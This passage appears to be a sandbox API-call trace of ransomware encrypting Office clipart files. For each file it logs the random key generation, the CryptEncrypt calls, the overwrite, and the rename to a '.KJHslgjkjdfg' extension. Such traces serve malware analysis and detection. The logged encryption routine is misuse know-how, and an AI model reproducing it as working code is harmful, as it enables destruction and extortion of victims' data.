office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.kjhslgjkjdfg")) returned 1 [0159.780] CloseHandle (hObject=0x114) returned 1 [0159.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0159.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.788] GetProcessHeap () returned 0x2a0000 [0159.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.789] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.789] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.796] GetProcessHeap () returned 0x2a0000 [0159.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.797] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1234, lpOverlapped=0x0) returned 1 [0159.797] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1240, dwBufLen=0x1240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1240) returned 1 [0159.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.798] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1240, lpOverlapped=0x0) returned 1 [0159.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.798] SetEndOfFile (hFile=0x114) returned 1 [0159.800] GetProcessHeap () returned 0x2a0000 [0159.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.800] GetProcessHeap () returned 0x2a0000 [0159.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.kjhslgjkjdfg")) returned 1 [0159.801] CloseHandle (hObject=0x114) returned 1 [0159.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0159.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.803] GetProcessHeap () returned 0x2a0000 [0159.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.803] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.805] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.806] GetProcessHeap () returned 0x2a0000 [0159.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.806] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.806] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.806] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.807] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf94, lpOverlapped=0x0) returned 1 [0159.807] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfa0) returned 1 [0159.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.807] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfa0, lpOverlapped=0x0) returned 1 [0159.807] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.807] SetEndOfFile (hFile=0x114) returned 1 [0159.809] GetProcessHeap () returned 0x2a0000 [0159.809] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.809] GetProcessHeap () returned 0x2a0000 [0159.809] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.kjhslgjkjdfg")) returned 1 [0159.810] CloseHandle (hObject=0x114) returned 1 [0159.810] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0159.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.812] GetProcessHeap () returned 0x2a0000 [0159.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.812] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.814] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.814] GetProcessHeap () returned 0x2a0000 [0159.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.814] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.814] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.814] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa4c, lpOverlapped=0x0) returned 1 [0159.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50, dwBufLen=0xa50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa50) returned 1 [0159.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.815] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa50, lpOverlapped=0x0) returned 1 [0159.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.815] SetEndOfFile (hFile=0x114) returned 1 [0159.817] GetProcessHeap () returned 0x2a0000 [0159.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.817] GetProcessHeap () returned 0x2a0000 [0159.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.kjhslgjkjdfg")) returned 1 [0159.818] CloseHandle (hObject=0x114) returned 1 [0159.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0159.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.819] GetProcessHeap () returned 0x2a0000 [0159.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.819] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.819] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.819] GetProcessHeap () returned 0x2a0000 [0159.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.819] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.819] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.819] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.821] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.822] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.822] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1510, lpOverlapped=0x0) returned 1 [0159.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1510, dwBufLen=0x1510 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1510) returned 1 [0159.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.823] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1510, lpOverlapped=0x0) returned 1 [0159.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.823] SetEndOfFile (hFile=0x114) returned 1 [0159.826] GetProcessHeap () returned 0x2a0000 [0159.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.826] GetProcessHeap () returned 0x2a0000 [0159.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.kjhslgjkjdfg")) returned 1 [0159.827] CloseHandle (hObject=0x114) returned 1 [0159.827] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0159.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.828] GetProcessHeap () returned 0x2a0000 [0159.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.828] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.828] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, 